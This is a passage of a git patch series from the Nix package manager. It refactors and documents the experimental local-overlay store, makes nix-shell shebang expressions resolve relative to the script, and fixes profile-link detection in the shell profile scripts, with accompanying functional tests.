linkOrCopy(LocalFSStore & store, const StorePath & from_, const Path & to) +static void linkOrCopy(const Path & from, const Path & to) { - auto from = store.toRealPathForHardLink(from_); if (link(from.c_str(), to.c_str()) == -1) { /* Hard-linking fails if we exceed the maximum link count on a file (e.g. 32000 of ext3), which is quite possible after a @@ -715,7 +714,7 @@ void LocalDerivationGoal::startBuilder() if (S_ISDIR(lstat(r).st_mode)) dirsInChroot.insert_or_assign(p, r); else - linkOrCopy(getLocalStore(), i, chrootRootDir + p); + linkOrCopy(r, chrootRootDir + p); } /* If we're repairing, checking or rebuilding part of a @@ -1600,7 +1599,7 @@ void LocalDerivationGoal::addDependency(const StorePath & path) throw Error("could not add path '%s' to sandbox", worker.store.printStorePath(path)); } else - linkOrCopy(getLocalStore(), path, target); + linkOrCopy(source, target); #else throw Error("don't know how to make path '%s' (produced by a recursive Nix call) appear in the sandbox", diff --git a/src/libstore/local-fs-store.hh b/src/libstore/local-fs-store.hh index 19858f5c8..488109501 100644 --- a/src/libstore/local-fs-store.hh +++ b/src/libstore/local-fs-store.hh @@ -73,16 +73,6 @@ public: return getRealStoreDir() + "/" + std::string(storePath, storeDir.size() + 1); } - /** - * If the real path is hardlinked with something else, we might - * prefer to refer to the other path instead. This is the case with - * overlayfs, for example. - */ - virtual Path toRealPathForHardLink(const StorePath & storePath) - { - return Store::toRealPath(storePath); - } - std::optional getBuildLogExact(const StorePath & path) override; }; diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index 73902e9ba..732b4d6ce 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -268,14 +268,6 @@ std::pair LocalOverlayStore::verifyAllValidPaths(RepairFlag } -Path LocalOverlayStore::toRealPathForHardLink(const StorePath & path) -{ - return lowerStore->isValidPath(path) - ? lowerStore->Store::toRealPath(path) - : Store::toRealPath(path); -} - - void LocalOverlayStore::remountIfNecessary() { if (!_remountRequired) return; diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index 8ed7516db..ac730c77c 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -186,12 +186,6 @@ private: */ std::pair verifyAllValidPaths(RepairFlag repair) override; - /** - * For lower-store paths, we used the lower store location. This avoids the - * wasteful "copying up" that would otherwise happen. - */ - Path toRealPathForHardLink(const StorePath & storePath) override; - /** * Deletion only effects the upper layer, so we ignore lower-layer referrers. */ From 250c3541bb7ffffae81e873f09f781d3b57e5935 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 25 Oct 2023 15:29:11 -0400 Subject: [PATCH 0114/1251] Use `local-overlay://` not `local-overlay` for store URL This is a bit uglier, but allows us to avoid an ad-hoc special case in `store-api.cc`. --- src/libstore/local-overlay-store.hh | 9 ++++++--- src/libstore/store-api.cc | 5 ----- tests/functional/local-overlay-store/bad-uris.sh | 6 +++--- tests/functional/local-overlay-store/common.sh | 2 +- 4 files changed, 10 insertions(+), 12 deletions(-) diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index ac730c77c..060ca37c3 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -90,15 +90,18 @@ public: LocalOverlayStore(std::string scheme, std::string path, const Params & params) : LocalOverlayStore(params) { - throw UnimplementedError("LocalOverlayStore"); + if (!path.empty()) + throw UsageError("local-overlay:// store url doesn't support path part, only scheme and query params"); } static std::set uriSchemes() - { return {}; } + { + return { "local-overlay" }; + } std::string getUri() override { - return "local-overlay"; + return "local-overlay://"; } private: diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc index 55cdd71a9..069fad420 100644 --- a/src/libstore/store-api.cc +++ b/src/libstore/store-api.cc @@ -11,7 +11,6 @@ #include "archive.hh" #include "callback.hh" #include "remote-store.hh" -#include "local-overlay-store.hh" // FIXME this should not be here, see TODO below on // `addMultipleToStore`. #include "worker-protocol.hh" @@ -1456,10 +1455,6 @@ std::shared_ptr openFromNonUri(const std::string & uri, const Store::Para return std::make_shared(params); } else if (uri == "local") { return std::make_shared(params); - } else if (uri == "local-overlay") { - auto store = std::make_shared(params); - experimentalFeatureSettings.require(store->experimentalFeature()); - return store; } else if (isNonUriPath(uri)) { Store::Params params2 = params; params2["root"] = absPath(uri); diff --git a/tests/functional/local-overlay-store/bad-uris.sh b/tests/functional/local-overlay-store/bad-uris.sh index 462bf27eb..07b2c6f28 100644 --- a/tests/functional/local-overlay-store/bad-uris.sh +++ b/tests/functional/local-overlay-store/bad-uris.sh @@ -6,9 +6,9 @@ storeDirs mkdir -p $TEST_ROOT/bad_test badTestRoot=$TEST_ROOT/bad_test -storeBadRoot="local-overlay?root=$badTestRoot&lower-store=$storeA&upper-layer=$storeBTop" -storeBadLower="local-overlay?root=$storeBRoot&lower-store=$badTestRoot&upper-layer=$storeBTop" -storeBadUpper="local-overlay?root=$storeBRoot&lower-store=$storeA&upper-layer=$badTestRoot" +storeBadRoot="local-overlay://?root=$badTestRoot&lower-store=$storeA&upper-layer=$storeBTop" +storeBadLower="local-overlay://?root=$storeBRoot&lower-store=$badTestRoot&upper-layer=$storeBTop" +storeBadUpper="local-overlay://?root=$storeBRoot&lower-store=$storeA&upper-layer=$badTestRoot" declare -a storesBad=( "$storeBadRoot" "$storeBadLower" "$storeBadUpper" diff --git a/tests/functional/local-overlay-store/common.sh b/tests/functional/local-overlay-store/common.sh index 2d614b140..bd144c925 100644 --- a/tests/functional/local-overlay-store/common.sh +++ b/tests/functional/local-overlay-store/common.sh @@ -29,7 +29,7 @@ storeDirs () { storeA="$storeVolume/store-a" storeBTop="$storeVolume/store-b" storeBRoot="$storeVolume/merged-store" - storeB="local-overlay?root=$storeBRoot&lower-store=$storeA&upper-layer=$storeBTop" + storeB="local-overlay://?root=$storeBRoot&lower-store=$storeA&upper-layer=$storeBTop" # Creating testing directories mkdir -p "$storeVolume"/{store-a/nix/store,store-b,merged-store/nix/store,workdir} } From 04023360edbeb3477286783b3101a5b53f78021b Mon Sep 17 00:00:00 2001 From: Matthew Bauer Date: Tue, 3 Aug 2021 15:25:15 -0500 Subject: [PATCH 0115/1251] Evaluate nix-shell -i args relative to script When writing a shebang script, you expect your path to be relative to the script, not the cwd. We previously handled this correctly for relative file paths, but not for expressions. This handles both -p & -E args. My understanding is this should be what we want in any cases I can think of - people run scripts from many different working directories. @edolstra is there any reason to handle -p args differently in this case? Fixes #4232 --- src/nix-build/nix-build.cc | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc index 75ce12a8c..4120ca3cf 100644 --- a/src/nix-build/nix-build.cc +++ b/src/nix-build/nix-build.cc @@ -298,7 +298,9 @@ static void main_nix_build(int argc, char * * argv) else for (auto i : left) { if (fromArgs) - exprs.push_back(state->parseExprFromString(std::move(i), state->rootPath(CanonPath::fromCwd()))); + exprs.push_back(state->parseExprFromString( + std::move(i), + state->rootPath(CanonPath::fromCwd(inShebang ? dirOf(script) : ".")))); else { auto absolute = i; try { @@ -311,7 +313,7 @@ static void main_nix_build(int argc, char * * argv) /* If we're in a #! script, interpret filenames relative to the script. */ exprs.push_back(state->parseExprFromFile(resolveExprPath(state->checkSourcePath(lookupFileArg(*state, - inShebang && !packages ? absPath(i, absPath(dirOf(script))) : i))))); + inShebang ? absPath(i, absPath(dirOf(script))) : i))))); } } From 9a4641146f79d631eb0825c7313dd335715de0d6 Mon Sep 17 00:00:00 2001 From: Tom Bereknyei Date: Sat, 25 Nov 2023 19:06:45 -0500 Subject: [PATCH 0116/1251] tests: ensure nix-shell uses relative paths for expressions --- tests/functional/nix-shell.sh | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/tests/functional/nix-shell.sh b/tests/functional/nix-shell.sh index 13403fadb..702d3a6b5 100644 --- a/tests/functional/nix-shell.sh +++ b/tests/functional/nix-shell.sh @@ -59,6 +59,16 @@ chmod a+rx $TEST_ROOT/shell.shebang.sh output=$($TEST_ROOT/shell.shebang.sh abc def) [ "$output" = "foo bar abc def" ] +# Test nix-shell shebang mode with an alternate working directory +sed -e "s|@ENV_PROG@|$(type -P env)|" shell.shebang.expr > $TEST_ROOT/shell.shebang.expr +chmod a+rx $TEST_ROOT/shell.shebang.expr +# Should fail due to expressions using relative path +! $TEST_ROOT/shell.shebang.expr bar +cp shell.nix config.nix $TEST_ROOT +# Should succeed +output=$($TEST_ROOT/shell.shebang.expr bar) +[ "$output" = '-e load(ARGV.shift) -- '"$TEST_ROOT"'/shell.shebang.expr bar' ] + # Test nix-shell shebang mode again with metacharacters in the filename. # First word of filename is chosen to not match any file in the test root. sed -e "s|@ENV_PROG@|$(type -P env)|" shell.shebang.sh > $TEST_ROOT/spaced\ \\\'\"shell.shebang.sh From f66f498bd43efaa6883f12ca5988a282eef09697 Mon Sep 17 00:00:00 2001 From: Tom Bereknyei Date: Sat, 25 Nov 2023 19:07:29 -0500 Subject: [PATCH 0117/1251] notes: document change in nix-shell behavior --- doc/manual/rl-next/shebang-relative.md | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100644 doc/manual/rl-next/shebang-relative.md diff --git a/doc/manual/rl-next/shebang-relative.md b/doc/manual/rl-next/shebang-relative.md new file mode 100644 index 000000000..dbda0db4c --- /dev/null +++ b/doc/manual/rl-next/shebang-relative.md @@ -0,0 +1,8 @@ +synopsis: ensure nix-shell shebang uses relative path +prs: #5088 +description: { + +`nix-shell` shebangs use the script file's relative location to resolve relative paths to files passed as command line arguments, but expression arguments were still evaluated using the current working directory as a base path. +The new behavior is that evalutations are performed relative to the script. + +} From c30b5d8a0bc7766e55b5254c75b264597bd2935e Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 11 Dec 2023 13:18:34 -0500 Subject: [PATCH 0118/1251] Apply suggestions from code review MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: Théophane Hufschmitt <7226587+thufschmitt@users.noreply.github.com> --- src/libstore/local-overlay-store.hh | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index 060ca37c3..64ed2f20a 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -24,7 +24,7 @@ struct LocalOverlayStoreConfig : virtual LocalStoreConfig const PathSetting upperLayer{(StoreConfig*) this, "", "upper-layer", R"( - Must be used as OverlayFS upper layer for this store's store dir. + Directory containing the OverlayFS upper layer for this store's store dir. )"}; Setting checkMount{(StoreConfig*) this, true, "check-mount", @@ -60,6 +60,7 @@ struct LocalOverlayStoreConfig : virtual LocalStoreConfig std::string doc() override; +protected: /** * Given a store path, get its location (if it is exists) in the * upper layer of the overlayfs. @@ -167,7 +168,7 @@ private: * Deduplicate by removing store objects from the upper layer that * are now in the lower layer. * - * This implementation will not cause duplications, but addition of + * Operations on a layered store will not cause duplications, but addition of * new store objects to the lower layer can instill induce them * (there is no way to prevent that). This cleans up those * duplications. From b21ee60594c637b4ea5ab98d5cc60b34a66bdde4 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 11 Dec 2023 13:28:40 -0500 Subject: [PATCH 0119/1251] Get rid of `verifyAllValidPaths` boolean blindness --- src/libstore/local-overlay-store.cc | 7 +++++-- src/libstore/local-overlay-store.hh | 2 +- src/libstore/local-store.cc | 7 +++++-- src/libstore/local-store.hh | 26 ++++++++++++++++++++++---- 4 files changed, 33 insertions(+), 9 deletions(-) diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index f657d8341..598415db8 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -252,7 +252,7 @@ void LocalOverlayStore::optimiseStore() } -std::pair LocalOverlayStore::verifyAllValidPaths(RepairFlag repair) +LocalStore::VerificationResult LocalOverlayStore::verifyAllValidPaths(RepairFlag repair) { StorePathSet done; @@ -266,7 +266,10 @@ std::pair LocalOverlayStore::verifyAllValidPaths(RepairFlag for (auto & i : queryAllValidPaths()) verifyPath(i, existsInStoreDir, done, validPaths, repair, errors); - return { errors, validPaths }; + return { + .errors = errors, + .validPaths = validPaths, + }; } diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index 64ed2f20a..a93b069cc 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -188,7 +188,7 @@ private: * We don't verify the contents of both layers on the assumption that the lower layer is far bigger, * and also the observation that anything not in the upper db the overlayfs doesn't yet care about. */ - std::pair verifyAllValidPaths(RepairFlag repair) override; + VerificationResult verifyAllValidPaths(RepairFlag repair) override; /** * Deletion only effects the upper layer, so we ignore lower-layer referrers. diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 8561d58be..b35d59bbb 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -1443,7 +1443,7 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair) } -std::pair LocalStore::verifyAllValidPaths(RepairFlag repair) +LocalStore::VerificationResult LocalStore::verifyAllValidPaths(RepairFlag repair) { StorePathSet storePathsInStoreDir; /* Why aren't we using `queryAllValidPaths`? Because that would @@ -1476,7 +1476,10 @@ std::pair LocalStore::verifyAllValidPaths(RepairFlag repair) for (auto & i : queryAllValidPaths()) verifyPath(i, existsInStoreDir, done, validPaths, repair, errors); - return { errors, validPaths }; + return { + .errors = errors, + .validPaths = validPaths, + }; } diff --git a/src/libstore/local-store.hh b/src/libstore/local-store.hh index 9a9171e2f..dc2d5cb7c 100644 --- a/src/libstore/local-store.hh +++ b/src/libstore/local-store.hh @@ -264,12 +264,30 @@ public: bool verifyStore(bool checkContents, RepairFlag repair) override; +protected: + /** - * @return A pair of whether any errors were encountered, and a set of - * (so-far) valid paths. The store objects pointed to by those paths are - * suitable for further validation checking. + * Result of `verifyAllValidPaths` */ - virtual std::pair verifyAllValidPaths(RepairFlag repair); + struct VerificationResult { + /** + * Whether any errors were encountered + */ + bool errors; + + /** + * A set of so-far valid paths. The store objects pointed to by + * those paths are suitable for further validation checking. + */ + StorePathSet validPaths; + }; + + /** + * First, unconditional step of `verifyStore` + */ + virtual VerificationResult verifyAllValidPaths(RepairFlag repair); + +public: /** * Register the validity of a path, i.e., that `path` exists, that From bf0bf3d1be47aa1bcf9cb3c8f0923e1304fc7065 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 11 Dec 2023 13:30:40 -0500 Subject: [PATCH 0120/1251] local-overlay store tests: `storeDirs` -> `setupStoreDirs` MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-Authored-By: Théophane Hufschmitt --- tests/functional/local-overlay-store/add-lower-inner.sh | 2 +- tests/functional/local-overlay-store/bad-uris.sh | 4 ++-- tests/functional/local-overlay-store/build-inner.sh | 2 +- tests/functional/local-overlay-store/check-post-init-inner.sh | 2 +- tests/functional/local-overlay-store/common.sh | 2 +- .../functional/local-overlay-store/delete-duplicate-inner.sh | 2 +- tests/functional/local-overlay-store/delete-refs-inner.sh | 2 +- tests/functional/local-overlay-store/gc-inner.sh | 2 +- tests/functional/local-overlay-store/optimise-inner.sh | 2 +- tests/functional/local-overlay-store/redundant-add-inner.sh | 2 +- .../functional/local-overlay-store/stale-file-handle-inner.sh | 2 +- tests/functional/local-overlay-store/verify-inner.sh | 2 +- 12 files changed, 13 insertions(+), 13 deletions(-) diff --git a/tests/functional/local-overlay-store/add-lower-inner.sh b/tests/functional/local-overlay-store/add-lower-inner.sh index ca7db7ab6..4efa7d088 100755 --- a/tests/functional/local-overlay-store/add-lower-inner.sh +++ b/tests/functional/local-overlay-store/add-lower-inner.sh @@ -10,7 +10,7 @@ source common.sh unset NIX_STORE_DIR unset NIX_STATE_DIR -storeDirs +setupStoreDirs initLowerStore diff --git a/tests/functional/local-overlay-store/bad-uris.sh b/tests/functional/local-overlay-store/bad-uris.sh index 07b2c6f28..2517681dd 100644 --- a/tests/functional/local-overlay-store/bad-uris.sh +++ b/tests/functional/local-overlay-store/bad-uris.sh @@ -2,7 +2,7 @@ source common.sh requireEnvironment setupConfig -storeDirs +setupStoreDirs mkdir -p $TEST_ROOT/bad_test badTestRoot=$TEST_ROOT/bad_test @@ -18,7 +18,7 @@ for i in "${storesBad[@]}"; do echo $i unshare --mount --map-root-user bash < Date: Mon, 11 Dec 2023 13:34:09 -0500 Subject: [PATCH 0121/1251] Update tests/functional/local-overlay-store/redundant-add-inner.sh MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: Théophane Hufschmitt <7226587+thufschmitt@users.noreply.github.com> --- tests/functional/local-overlay-store/redundant-add-inner.sh | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/tests/functional/local-overlay-store/redundant-add-inner.sh b/tests/functional/local-overlay-store/redundant-add-inner.sh index 71899a9a7..0fb3af2a6 100755 --- a/tests/functional/local-overlay-store/redundant-add-inner.sh +++ b/tests/functional/local-overlay-store/redundant-add-inner.sh @@ -19,9 +19,13 @@ mountOverlayfs ### Do a redundant add # upper layer should not have it +path=$(nix-store --store "$storeA" ../dummy) + expect 1 stat $(toRealPath "$storeBTop/nix/store" "$path") -path=$(nix-store --store "$storeB" --add ../dummy) +pathFromB=$(nix-store --store "$storeB" --add ../dummy) + +[[ $path == $pathFromB ]] # lower store should have it from before stat $(toRealPath "$storeA/nix/store" "$path") From c93f78f6fabdc4f01d3af98c68c4225be9d2c546 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 11 Dec 2023 13:36:53 -0500 Subject: [PATCH 0122/1251] Fix test a bit from previous commit --- tests/functional/local-overlay-store/redundant-add-inner.sh | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/tests/functional/local-overlay-store/redundant-add-inner.sh b/tests/functional/local-overlay-store/redundant-add-inner.sh index 0fb3af2a6..d2c95b187 100755 --- a/tests/functional/local-overlay-store/redundant-add-inner.sh +++ b/tests/functional/local-overlay-store/redundant-add-inner.sh @@ -18,9 +18,10 @@ mountOverlayfs ### Do a redundant add -# upper layer should not have it -path=$(nix-store --store "$storeA" ../dummy) +# (Already done in `initLowerStore`, but repeated here for clarity.) +path=$(nix-store --store "$storeA" --add ../dummy) +# upper layer should not have it expect 1 stat $(toRealPath "$storeBTop/nix/store" "$path") pathFromB=$(nix-store --store "$storeB" --add ../dummy) From b3bdd70ea2a69ec2ddd547ee475219f5b38b8f59 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 11 Dec 2023 13:43:17 -0500 Subject: [PATCH 0123/1251] Clarify `toUpperPath` docs We're just mapping store paths to host OS paths, there is no checking what is actually at this location. --- src/libstore/local-overlay-store.hh | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index a93b069cc..2c24285dd 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -62,8 +62,12 @@ struct LocalOverlayStoreConfig : virtual LocalStoreConfig protected: /** - * Given a store path, get its location (if it is exists) in the - * upper layer of the overlayfs. + * @return The host OS path corresponding to the store path for the + * upper layer. + * + * @note The there is no guarantee a store object is actually stored + * at that file path. It might be stored in the lower layer instead, + * or it might not be part of this store at all. */ Path toUpperPath(const StorePath & path); }; From c90e46d3f0c6614921b42ba5506a409ca11b5c30 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 11 Dec 2023 13:45:46 -0500 Subject: [PATCH 0124/1251] Update tests/functional/local-overlay-store/common.sh MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: Théophane Hufschmitt <7226587+thufschmitt@users.noreply.github.com> --- tests/functional/local-overlay-store/common.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/functional/local-overlay-store/common.sh b/tests/functional/local-overlay-store/common.sh index 0de688eb4..e1da00b42 100644 --- a/tests/functional/local-overlay-store/common.sh +++ b/tests/functional/local-overlay-store/common.sh @@ -66,7 +66,7 @@ initLowerStore () { # Build something in lower store drvPath=$(nix-instantiate --store $storeA ../hermetic.nix --arg busybox "$busybox" --arg seed 1) - path=$(nix-store --store "$storeA" --realise $drvPath) + pathInLowerStore=$(nix-store --store "$storeA" --realise $drvPath) } execUnshare () { From 8d0a03b5a22df6f764686386edde6b90d290b8e4 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 11 Dec 2023 13:48:42 -0500 Subject: [PATCH 0125/1251] Fix tests after last rename (`path` -> `pathInLowerStore`) --- .../check-post-init-inner.sh | 20 +++++++++---------- .../redundant-add-inner.sh | 10 +++++----- 2 files changed, 15 insertions(+), 15 deletions(-) diff --git a/tests/functional/local-overlay-store/check-post-init-inner.sh b/tests/functional/local-overlay-store/check-post-init-inner.sh index ccc0461a3..ac2499002 100755 --- a/tests/functional/local-overlay-store/check-post-init-inner.sh +++ b/tests/functional/local-overlay-store/check-post-init-inner.sh @@ -19,13 +19,13 @@ mountOverlayfs ### Check status # Checking for path in lower layer -stat $(toRealPath "$storeA/nix/store" "$path") +stat $(toRealPath "$storeA/nix/store" "$pathInLowerStore") # Checking for path in upper layer (should fail) -expect 1 stat $(toRealPath "$storeBTop" "$path") +expect 1 stat $(toRealPath "$storeBTop" "$pathInLowerStore") # Checking for path in overlay store matching lower layer -diff $(toRealPath "$storeA/nix/store" "$path") $(toRealPath "$storeBRoot/nix/store" "$path") +diff $(toRealPath "$storeA/nix/store" "$pathInLowerStore") $(toRealPath "$storeBRoot/nix/store" "$pathInLowerStore") # Checking requisites query agreement [[ \ @@ -44,9 +44,9 @@ busyboxStore=$(nix store --store $storeA add-path $busybox) # Checking derivers query agreement [[ \ - $(nix-store --store $storeA --query --deriver $path) \ + $(nix-store --store $storeA --query --deriver $pathInLowerStore) \ == \ - $(nix-store --store $storeB --query --deriver $path) \ + $(nix-store --store $storeB --query --deriver $pathInLowerStore) \ ]] # Checking outputs query agreement @@ -57,15 +57,15 @@ busyboxStore=$(nix store --store $storeA add-path $busybox) ]] # Verifying path in lower layer -nix-store --verify-path --store "$storeA" "$path" +nix-store --verify-path --store "$storeA" "$pathInLowerStore" # Verifying path in merged-store -nix-store --verify-path --store "$storeB" "$path" +nix-store --verify-path --store "$storeB" "$pathInLowerStore" -hashPart=$(echo $path | sed "s^${NIX_STORE_DIR:-/nix/store}/^^" | sed 's/-.*//') +hashPart=$(echo $pathInLowerStore | sed "s^${NIX_STORE_DIR:-/nix/store}/^^" | sed 's/-.*//') # Lower store can find from hash part -[[ $(nix store --store $storeA path-from-hash-part $hashPart) == $path ]] +[[ $(nix store --store $storeA path-from-hash-part $hashPart) == $pathInLowerStore ]] # merged store can find from hash part -[[ $(nix store --store $storeB path-from-hash-part $hashPart) == $path ]] +[[ $(nix store --store $storeB path-from-hash-part $hashPart) == $pathInLowerStore ]] diff --git a/tests/functional/local-overlay-store/redundant-add-inner.sh b/tests/functional/local-overlay-store/redundant-add-inner.sh index d2c95b187..e37ef90e5 100755 --- a/tests/functional/local-overlay-store/redundant-add-inner.sh +++ b/tests/functional/local-overlay-store/redundant-add-inner.sh @@ -19,17 +19,17 @@ mountOverlayfs ### Do a redundant add # (Already done in `initLowerStore`, but repeated here for clarity.) -path=$(nix-store --store "$storeA" --add ../dummy) +pathInLowerStore=$(nix-store --store "$storeA" --add ../dummy) # upper layer should not have it -expect 1 stat $(toRealPath "$storeBTop/nix/store" "$path") +expect 1 stat $(toRealPath "$storeBTop/nix/store" "$pathInLowerStore") pathFromB=$(nix-store --store "$storeB" --add ../dummy) -[[ $path == $pathFromB ]] +[[ $pathInLowerStore == $pathFromB ]] # lower store should have it from before -stat $(toRealPath "$storeA/nix/store" "$path") +stat $(toRealPath "$storeA/nix/store" "$pathInLowerStore") # upper layer should still not have it (no redundant copy) -expect 1 stat $(toRealPath "$storeBTop" "$path") +expect 1 stat $(toRealPath "$storeBTop" "$pathInLowerStore") From 4a2cee8e6cf2cfe0975b11fbccf6beb36b99cc60 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Mon, 11 Dec 2023 18:55:39 +0000 Subject: [PATCH 0126/1251] Document expected filesystem layout and OverlayFS mount command. --- src/libstore/local-overlay-store.md | 42 +++++++++++++++++++++++++++++ 1 file changed, 42 insertions(+) diff --git a/src/libstore/local-overlay-store.md b/src/libstore/local-overlay-store.md index a0b9c3adf..813efc3e9 100644 --- a/src/libstore/local-overlay-store.md +++ b/src/libstore/local-overlay-store.md @@ -5,6 +5,7 @@ R"( This store type is a variation of the [local store] designed to leverage Linux's [Overlay Filesystem](https://docs.kernel.org/filesystems/overlayfs.html) (OverlayFS for short). Just as OverlayFS combines a lower and upper filesystem by treating the upper one as a patch against the lower, the local overlay store combines a lower store with an upper almost [local store]. ("almost" because while the upper fileystems for OverlayFS is valid on its own, the upper almost-store is not a valid local store on its own because some references will dangle.) +To use this store, you will first need to configure an OverlayFS mountpoint [appropriately](#example-filesystem-layout) as Nix will not do this for you (though it will verify the mountpoint is configured correctly). ### Parts of a local overlay store @@ -15,6 +16,9 @@ The parts of a local overlay store are as follows: This is any store implementation that includes a store directory as part of the native operating system filesystem. For example, this could be a [local store], [local daemon store], or even another local overlay store. + The lower store must not change while it is mounted as part of an overlay store. + To ensure it does not, you might want to mount the store directory read-only (which then requires the [read-only] parameter to be set to `true`). + Specified with the `lower-store` setting. - Lower store directory. @@ -51,4 +55,42 @@ The parts of a local overlay store are as follows: Specified with the `state` setting, is always `${state}/db`. + +### Example filesystem layout + +Say we have the following paths: + +- `/mnt/example/merged-store/nix/store` + +- `/mnt/example/store-a/nix/store` + +- `/mnt/example/store-b` + + +Then the following store URI can be used to access a local-overlay store at `/mnt/example/merged-store`: + +``` + local-overlay://?root=/mnt/example/merged-store&lower-store=/mnt/example/store-a&upper-layer=/mnt/example/store-b +``` + +The lower store is located at `/mnt/example/store-a/nix/store`, while the upper layer is at `/mnt/example/store-b`. + +Before accessing the overlay store you will need to ensure the OverlayFS mount is set up correctly: + +``` + mount -t overlay overlay \ + -o lowerdir="/mnt/example/store-a/nix/store" \ + -o upperdir="/mnt/example/store-b" \ + -o workdir="/mnt/example/workdir" \ + "/mnt/example/merged-store/nix/store" \ +``` + +Note that OverlayFS requires `/mnt/example/workdir` to be on the same volume as the `upperdir`. + +By default, Nix will check that the mountpoint as been set up correctly and fail with an error if it has not. +You can override this behaviour by passing [`check-mount=false`](???) if you need to. + + + + )" From eae2717e00e82a61884b3f53a50db94272a1fad1 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 11 Dec 2023 13:55:43 -0500 Subject: [PATCH 0127/1251] tests: Use `cp -ar` instead of tar-untar pipe --- tests/functional/local-overlay-store/verify-inner.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/functional/local-overlay-store/verify-inner.sh b/tests/functional/local-overlay-store/verify-inner.sh index c98ea1f96..659f2ae50 100755 --- a/tests/functional/local-overlay-store/verify-inner.sh +++ b/tests/functional/local-overlay-store/verify-inner.sh @@ -34,7 +34,7 @@ nix-store --store "$storeB" --verify --check-contents # Make a backup so we can repair later backupStore="$storeVolume/backup" mkdir "$backupStore" -tar -cC "$storeBRoot" nix | tar -xC "$backupStore" +cp -ar "$storeBRoot/nix" "$backupStore" ## Deliberately corrupt store paths From 5d0bdb1d3f60d446a0d810e097d1e27edaa203a4 Mon Sep 17 00:00:00 2001 From: wh0 Date: Sun, 10 Dec 2023 19:14:51 -0800 Subject: [PATCH 0128/1251] nix-profile: fix both profile links detection --- scripts/nix-profile-daemon.sh.in | 7 +++---- scripts/nix-profile.sh.in | 7 +++---- 2 files changed, 6 insertions(+), 8 deletions(-) diff --git a/scripts/nix-profile-daemon.sh.in b/scripts/nix-profile-daemon.sh.in index d256b24ed..6a7318912 100644 --- a/scripts/nix-profile-daemon.sh.in +++ b/scripts/nix-profile-daemon.sh.in @@ -9,11 +9,9 @@ else NIX_LINK_NEW=$HOME/.local/state/nix/profile fi if [ -e "$NIX_LINK_NEW" ]; then - NIX_LINK="$NIX_LINK_NEW" -else - if [ -t 2 ] && [ -e "$NIX_LINK_NEW" ]; then + if [ -t 2 ] && [ -e "$NIX_LINK" ]; then warning="\033[1;35mwarning:\033[0m" - printf "$warning Both %s and legacy %s exist; using the latter.\n" "$NIX_LINK_NEW" "$NIX_LINK" 1>&2 + printf "$warning Both %s and legacy %s exist; using the former.\n" "$NIX_LINK_NEW" "$NIX_LINK" 1>&2 if [ "$(realpath "$NIX_LINK")" = "$(realpath "$NIX_LINK_NEW")" ]; then printf " Since the profiles match, you can safely delete either of them.\n" 1>&2 else @@ -26,6 +24,7 @@ else printf "$warning Profiles do not match. You should manually migrate from %s to %s.\n" "$NIX_LINK" "$NIX_LINK_NEW" 1>&2 fi fi + NIX_LINK="$NIX_LINK_NEW" fi export NIX_PROFILES="@localstatedir@/nix/profiles/default $NIX_LINK" diff --git a/scripts/nix-profile.sh.in b/scripts/nix-profile.sh.in index 44bc96e89..7fa0f4a7f 100644 --- a/scripts/nix-profile.sh.in +++ b/scripts/nix-profile.sh.in @@ -9,11 +9,9 @@ if [ -n "$HOME" ] && [ -n "$USER" ]; then NIX_LINK_NEW="$HOME/.local/state/nix/profile" fi if [ -e "$NIX_LINK_NEW" ]; then - NIX_LINK="$NIX_LINK_NEW" - else - if [ -t 2 ] && [ -e "$NIX_LINK_NEW" ]; then + if [ -t 2 ] && [ -e "$NIX_LINK" ]; then 